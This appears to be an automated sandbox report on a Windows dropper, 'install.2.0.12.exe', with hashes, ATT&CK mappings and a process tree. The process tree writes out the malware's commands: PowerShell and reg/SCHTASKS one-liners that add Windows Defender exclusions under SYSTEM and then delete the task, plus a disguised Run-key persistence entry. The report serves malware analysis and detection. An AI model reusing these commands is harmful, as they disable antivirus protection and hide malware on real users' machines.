d394c61956ab38a955e9d812f94f620de326c5b183c40a754cc72ce97a185c8b

Analysis

max time kernel
150s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 07:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.12.exe
Size 30.5MB
Sample261024-ht7nwsgv21
SHA256 d394c61956ab38a955e9d812f94f620de326c5b183c40a754cc72ce97a185c8b
MD5 50981359f813fefe62998a0994abe45f
SHA1 f59cb1e356fc282455bdfece9fba2c8bddd94520
SHA512 37f8e4215e4d3b7932a4b4b68d04b2c712aa6ca761def46280572ae25fae55caffec25eb4ba4bb6c849f9e992b129ba0f1b38909d2b2751f336c06635c3d6b21
SSDEEP 196608:PZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYf:8C/p+HuPOc4i
TLSH
T1BA67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\KGCPYS = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1524	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2208	Wf1XYI.exe
3356	Wf1XYI.exe

Loads dropped DLL 2 IoCs

pid	Process
2208	Wf1XYI.exe
3356	Wf1XYI.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\KGCPYS\\Wf1XYI.exe\""	Wf1XYI.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4492	cmd.exe
2848	cmd.exe
752	cmd.exe
4400	cmd.exe
1632	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	Wf1XYI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2300	cmd.exe
4908	cmd.exe
4972	cmd.exe
3824	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Wf1XYI.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Wf1XYI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5668	schtasks.exe
572	schtasks.exe
4880	schtasks.exe
5384	schtasks.exe
4552	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2984	install.2.0.12.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe
2208	Wf1XYI.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeIncreaseQuotaPrivilege	1524	powershell.exe
Token: SeSecurityPrivilege	1524	powershell.exe
Token: SeTakeOwnershipPrivilege	1524	powershell.exe
Token: SeLoadDriverPrivilege	1524	powershell.exe
Token: SeSystemProfilePrivilege	1524	powershell.exe
Token: SeSystemtimePrivilege	1524	powershell.exe
Token: SeProfSingleProcessPrivilege	1524	powershell.exe
Token: SeIncBasePriorityPrivilege	1524	powershell.exe
Token: SeCreatePagefilePrivilege	1524	powershell.exe
Token: SeBackupPrivilege	1524	powershell.exe
Token: SeRestorePrivilege	1524	powershell.exe
Token: SeShutdownPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeSystemEnvironmentPrivilege	1524	powershell.exe
Token: SeRemoteShutdownPrivilege	1524	powershell.exe
Token: SeUndockPrivilege	1524	powershell.exe
Token: SeManageVolumePrivilege	1524	powershell.exe
Token: 33	1524	powershell.exe
Token: 34	1524	powershell.exe
Token: 35	1524	powershell.exe
Token: 36	1524	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 1524	2208	Wf1XYI.exe	91
PID 2208 wrote to memory of 4492	2208	Wf1XYI.exe	93
PID 4492 wrote to memory of 5668	4492	cmd.exe	95
PID 4492 wrote to memory of 5064	4492	cmd.exe	96
PID 4492 wrote to memory of 852	4492	cmd.exe	100
PID 2208 wrote to memory of 2848	2208	Wf1XYI.exe	101
PID 2848 wrote to memory of 572	2848	cmd.exe	105
PID 2848 wrote to memory of 3316	2848	cmd.exe	106
PID 2208 wrote to memory of 752	2208	Wf1XYI.exe	108
PID 2848 wrote to memory of 4496	2848	cmd.exe	109
PID 2208 wrote to memory of 4400	2208	Wf1XYI.exe	111
PID 752 wrote to memory of 4880	752	cmd.exe	113
PID 4400 wrote to memory of 5384	4400	cmd.exe	114
PID 752 wrote to memory of 3272	752	cmd.exe	115
PID 752 wrote to memory of 5968	752	cmd.exe	117
PID 4400 wrote to memory of 792	4400	cmd.exe	118
PID 2208 wrote to memory of 1632	2208	Wf1XYI.exe	123
PID 4400 wrote to memory of 940	4400	cmd.exe	122
PID 1632 wrote to memory of 4552	1632	cmd.exe	125
PID 1632 wrote to memory of 2636	1632	cmd.exe	126
PID 1632 wrote to memory of 5160	1632	cmd.exe	128
PID 4908 wrote to memory of 4664	4908	cmd.exe	131
PID 2300 wrote to memory of 5432	2300	cmd.exe	132
PID 4972 wrote to memory of 5684	4972	cmd.exe	133
PID 3824 wrote to memory of 1228	3824	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2984

C:\Users\Public\KGCPYS\Wf1XYI.exe
"C:\Users\Public\KGCPYS\Wf1XYI.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KGCPYS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KGCPYS\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:572
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3272
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5160

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KGCPYS" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KGCPYS" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5432

C:\Users\Public\KGCPYS\Wf1XYI.exe
"C:\Users\Public\KGCPYS\Wf1XYI.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3356

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1132

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4664

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5684

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 10a90bc4b787acd9aba6186c8239765ac1a084379a44361a3515370c4ee595e9
MD5 0f924496960fa073d96cf510804b913f
SHA1 b8de7feb7c0b04cfa431e264dbc01f41aaceaf83
SHA512 82bc54df76cfd5d42c80a83a7e0070ef43eec731850c5cfd6f6ae6df7389bc0b7b807c3731fae63c872a215fe16556310265596f1ae46f814d5fcc25c53706e7
TLSH
T1143196BF2FAD79469B298D8425DFB1252CE5E1C09DC92446A264C4986F443F22F9E50C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 1ff9e263f9a381ebb85f75e5cb369538db6c0d0bde320f28ae2f91ff328f4f67
MD5 4c82551b008d378aa9231fd0a9cca57d
SHA1 cca8d8585773bca7ac83fe2c6846bdc391c34ce3
SHA512 558c7dbfcd9c595fac4cde17650abf5769db2ce6f2b74a55f7771cba8ef7a63be1363f5af0ed9d658a1c71b6142eccef027eb2f3ed3217d7d24b406b34be723d
TLSH
T16631B6979A3D1457DB0C4F7562D0E53BECF0A9605CF44805672DC19B9A0AB731F86445
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 59d4a597123286c61b0d15efa196bec2810b51d565c404122cbc941a0b51b168
MD5 b630fda8c286416cf1e35874a9fc8f05
SHA1 5a2f4fa9bcda667e9a303de6e5f038d4d59a695a
SHA512 b6a9e5f5640f90a32dfeaae0229aedc331c1bdada4dbb1040bd64d9e255be298ce429768c0edd6c4708f3ce76c4fa5be08febb01ad3d1e7e45d9e19aa20f8447
TLSH
T1EAF05C0855FD412EF0339E3D8AD879E70ABBF606380685A806A45B0CA15398BAD515B5
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 ab19d0e85299cbbc1367b74f4383869cdb6355dfb1b02bbe90f5ef9d3f15eac6
MD5 de54cc049bec15a5099fc8a6c0e30c27
SHA1 1d47acf15c8a41349a8ca8d77246af16c9b38642
SHA512 0762f18a8a8add5468d75240922e784ed00c7052e56825ec852ee30b585b48e14f478eebfad56f00828084901e6592b5cd083adbe70deb27a0bf48174cfd9b81
TLSH
T168F05C3566E9405FF13796F88BD639B15E39F623100676BF0AA403846A92D421C41269
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_i1sep00p.syh.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1sep00p.syh.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\KGCPYS\UxEnhance64.dll
Size 3.1MB
SHA256 f09ed89df71a12db3539c65e47a5e857b489741c02e69ebc63a2801c6852c92f
MD5 3d860e7d850511ff0e4f7d11844f3bec
SHA1 fd274f7cd7defbc0f436e41bb4ef71faf3bc435b
SHA512 5f4e64e05db680f977833e93eaeb223d4d86ae80adfe1629f694301e70a9a9f2914d64e0e8bb714a068444f31af1c0cad428cca0b676bf72b89ae69294c5dcb7
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+Z:P9m29xx3Tiqt06ox6+z2rNNrKoZ
TLSH
T158E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Wf1XYI.exe

Path C:\Users\Public\KGCPYS\Wf1XYI.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\KGCPYS\adoresd.dat
Size 4.8MB
SHA256 91129cfddc9885b2d8242522062c49bf42c35931785e1f109054c1efb3c30041
MD5 09d2bec7188ba28a5b63defdb5c336ba
SHA1 8975eba116ab031f04cacead23e237f79e47564f
SHA512 da9607de701dab6897cc77d7e0d20764f53d2b5f40adb8eef00bd22335500f8987a1dc3fea76bf51be6fe57c8a1488e0007fa77a0b48f0dcc53e0310ab8a40ec
SSDEEP 98304:DWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:DWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1103633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\KGCPYS\msadox.tb
Size 8KB
SHA256 cc1b383091408a3630792ecb626edcae762efc8c70223185784c2c854352ce9a
MD5 80c76dcfe2e5775ea37c56f9d860d6a8
SHA1 5cc3f3797e2eb1f30f1ff6bf097f464f77c6fe7d
SHA512 5bc3c9d1c615472fad5e74c1eee28d59b58501ce884b1f762ba03647b1698d903d2523b74488b2129479b5f6ef1dd9f9dc9b7a7880e11cc22b849e9514797f4b
SSDEEP 192:KqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:KsZqZOXQ3uqvR2Kfzp
TLSH
T172029E05D7A20CC3E2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1524-597-0x0000017EE99C0000-0x0000017EE99E2000-memory.dmp

Download

memory/1524-602-0x0000017EE9A10000-0x0000017EE9A2E000-memory.dmp

Download

memory/1524-603-0x0000017EE9A30000-0x0000017EE9AE2000-memory.dmp

Download

memory/1524-607-0x0000017EE99F0000-0x0000017EE99FA000-memory.dmp

Download

memory/2208-559-0x00000237FE040000-0x00000237FE0CA000-memory.dmp

Download

memory/2208-536-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-539-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-546-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-545-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-544-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-550-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-556-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-562-0x00000237FE040000-0x00000237FE0CA000-memory.dmp

Download

memory/2208-561-0x00000237FE040000-0x00000237FE0CA000-memory.dmp

Download

memory/2208-560-0x00000237FE040000-0x00000237FE0CA000-memory.dmp

Download

memory/2208-606-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-558-0x00000237FCC60000-0x00000237FCCAE000-memory.dmp

Download

memory/2208-564-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-566-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-567-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-538-0x00007FFF3D740000-0x00007FFF3D742000-memory.dmp

Download

memory/2208-543-0x00000237FD6D0000-0x00000237FDFA7000-memory.dmp

Download

memory/2208-531-0x00007FFF1AAB0000-0x00007FFF1AFCE000-memory.dmp

Download

memory/2208-530-0x00007FFF3D730000-0x00007FFF3D732000-memory.dmp

Download

memory/2984-524-0x00000000005B0000-0x00000000005BE000-memory.dmp

Download

memory/2984-1-0x00000000005B0000-0x00000000005BE000-memory.dmp

Download

memory/2984-0-0x00000000005B0000-0x00000000005BE000-memory.dmp

Download

memory/2984-2-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

memory/2984-504-0x00007FFF32A30000-0x00007FFF32A42000-memory.dmp

Download

memory/2984-525-0x00007FFF32A30000-0x00007FFF32A42000-memory.dmp

Download

memory/3356-587-0x0000028259300000-0x0000028259BD7000-memory.dmp

Download

memory/3356-591-0x0000028259300000-0x0000028259BD7000-memory.dmp

Download

memory/3356-589-0x0000028259300000-0x0000028259BD7000-memory.dmp

Download

memory/3356-590-0x0000028259300000-0x0000028259BD7000-memory.dmp

Download

memory/3356-593-0x00007FFF3D730000-0x00007FFF3D732000-memory.dmp

Download

memory/3356-592-0x0000028259300000-0x0000028259BD7000-memory.dmp

Download

